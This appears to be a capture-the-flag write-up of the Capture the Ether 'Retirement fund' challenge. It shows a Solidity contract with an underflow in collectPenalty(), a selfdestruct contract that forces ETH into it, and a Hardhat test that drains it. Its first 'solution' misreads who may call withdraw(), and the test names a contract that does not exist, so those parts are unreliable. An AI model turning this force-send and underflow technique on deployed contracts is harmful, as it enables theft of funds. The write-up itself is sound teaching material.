09.Retirement fund
2023-06-23 20:22:15 # 01.Capturetheether CTF

Retirement fund

topic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.4.21;

contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;

function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);

beneficiary = player;
startBalance = msg.value;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function withdraw() public {
require(msg.sender == owner);

if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}

function collectPenalty() public {
require(msg.sender == beneficiary);

uint256 withdrawn = startBalance - address(this).balance;

// an early withdrawal occurred
require(withdrawn > 0);

// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}

analyse

our goal is to make address(this).balance == 0, at first address(this) == 1 ETH

The design of this level is not very good. There are two ways to complete this task

solution 1

1.beneficiary calls withdraw()

2.beneficiary calls collectPenalty()

3.call isComplete()

of course, this is not the thing that designer wants us to do

solution 2

Anyone can steal all the money in th contract! Let’s look at the following code: it checks withdrawn > 0, while withdrawn = startBalance - address(this).balance. startBalance = 1 ETH, initial address(this).balance = 1 ETH. But what if we send some money to this contract? It would cause an integer overflow bacause address(this).balance > 1 ETH and withdrawn will be very large so it can easily pass the require.

But how to send some money to this contract? It doesn’t contain an function that can receive money or even a fallback() or receive() to receive money. But we know, we can destroy a contract to force ETH to an address: selfdestruct()

1
2
3
4
5
6
7
8
9
10
11
function collectPenalty() public {
require(msg.sender == beneficiary);

uint256 withdrawn = startBalance - address(this).balance;

// an early withdrawal occurred
require(withdrawn > 0);

// penalty is what's left
msg.sender.transfer(address(this).balance);
}

this is the attack steps:

1.Deploy this contract to send som money to the level contract.

1
2
3
4
5
6
7
8
9
pragma solidity ^0.7.3;

contract RetirementFundAttacker {

constructor (address payable target) payable {
require(msg.value > 0);
selfdestruct(target);
}
}

2.call the collectPenalty()

this is the example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import { expect } from "chai";
import { utils } from "ethers";
import { ethers } from "hardhat";

describe("RetirementFundChallenge", () => {
it("Solves the challenge", async () => {
const myAddress = ethers.provider.getSigner().getAddress();
const challengeFactory = await ethers.getContractFactory("RetirementFundChallenge");
const challengeContract = await challengeFactory.deploy(myAddress, { value: utils.parseEther("1") });
await challengeContract.deployed();

const attackFactory = await ethers.getContractFactory("RetirementFundAttack");
const attackContract = await attackFactory.deploy(challengeContract.address, { value: 1 });
await attackContract.deployed();

const tx = await challengeContract.collectPenalty();
await tx.wait();

expect(await challengeContract.isComplete()).to.be.true;
});
});